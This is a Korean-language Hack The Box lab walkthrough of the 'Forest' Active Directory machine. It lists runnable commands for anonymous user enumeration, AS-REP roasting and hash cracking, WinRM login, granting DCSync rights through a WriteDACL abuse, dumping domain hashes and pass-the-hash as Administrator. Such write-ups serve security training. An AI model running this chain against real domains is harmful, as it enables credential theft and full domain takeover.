링크: https://app.hackthebox.com/machines/Forest 난이도: Easy OS: Windows (Active Directory)


공격 흐름 (Attack Flow)

Nmap 포트 스캔
  → LDAP Null Session (rpcclient / windapsearch / netexec)
    → 사용자 계정 목록 수집
      → AS-REP Roasting (impacket-GetNPUsers)
        → 해시 크래킹 (hashcat / John)
          → Evil-WinRM 접속 (user.txt)
            → BloodHound 분석
              → WriteDACL → DCSync
                → Pass-The-Hash (administrator)

1. Recon

Nmap 전체 포트 스캔

nmap -Pn --open -p- -n --max-retries 2 --min-rate 2000 10.129.4.160 -oA recon/tcpAll

SMB(135, 139, 445), LDAP(389, 3268), DNS(53), Kerberos(88) 포트 확인 → Active Directory 도메인 컨트롤러

도메인: htb.local

echo "10.129.4.160 htb.local" | sudo tee -a /etc/hosts

2. 열거 (Enumeration)

LDAP Null Session Binding

인증 없이 익명으로 LDAP에 접속해 사용자 계정 목록을 탈취할 수 있다.

rpcclient

rpcclient -U "" -N 10.129.4.160
rpcclient $> enumdomusers

사용자명만 파싱:

grep "user:" enum/users_raw.txt | cut -d "[" -f 2 | cut -d "]" -f 1 > users.txt

windapsearch

./windapsearch -d htb.local -u "" -p "" -m custom --filter "(objectClass=*)"
# CN 속성만 추출
sed -nE 's/^(dn: CN=|cn: )[[:space:]]*([^,]+).*/\2/p' windap_users.txt | sort -u > final_cn_list.txt

NetExec (nxc)

nxc ldap htb.local -u "" -p "" --users

rpcclient, windapsearch, netexec 세 도구 모두 동일하게 사용자 목록 탈취 가능


3. Foothold

AS-REP Roasting

Kerberos Pre-Authentication이 비활성화된 계정은 TGT를 요청할 때 암호화된 AS-REP를 반환한다. 이 해시를 오프라인으로 크래킹할 수 있다.

impacket-GetNPUsers htb.local/ -usersfile users.txt -dc-ip 10.129.4.160 -format hashcat -outputfile asrep_hashes.txt

svc-alfresco 계정의 해시 획득

해시 크래킹

# hashcat
hashcat -m 18200 asrep_hashes.txt rockyou.txt
 
# JohnTheRipper
john --wordlist=rockyou.txt asrep_hashes.txt

결과: svc-alfresco : s3rvice

Evil-WinRM으로 접속

evil-winrm -i 10.129.4.160 -u svc-alfresco -p s3rvice

user.txt 획득


4. 권한 상승 (Privilege Escalation)

BloodHound 분석

SharpHound로 AD 데이터 수집 후 BloodHound로 분석 → WriteDACL 권한 발견

WriteDACL → GenericAll → DCSync

# net 명령어로 새 계정 추가
net user simya Password123! /add /domain
net group "Exchange Windows Permissions" simya /add
 
# PowerView로 DCSync 권한 부여
Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity simya -Rights DCSync

DCSync 공격

impacket-secretsdump htb.local/simya:Password123!@10.129.4.160

→ Administrator NTLM 해시 획득

Pass-The-Hash

evil-winrm -i 10.129.4.160 -u Administrator -H [NTLM_HASH]

root.txt 획득


핵심 취약점 요약

취약점설명
LDAP Null Session익명 접속으로 사용자 목록 탈취
AS-REP RoastingPre-Auth 비활성화 계정 해시 크래킹
WriteDACLDCSync 권한 부여 가능
DCSync도메인 전체 비밀번호 해시 덤프

htb active-directory as-rep-roasting dcsync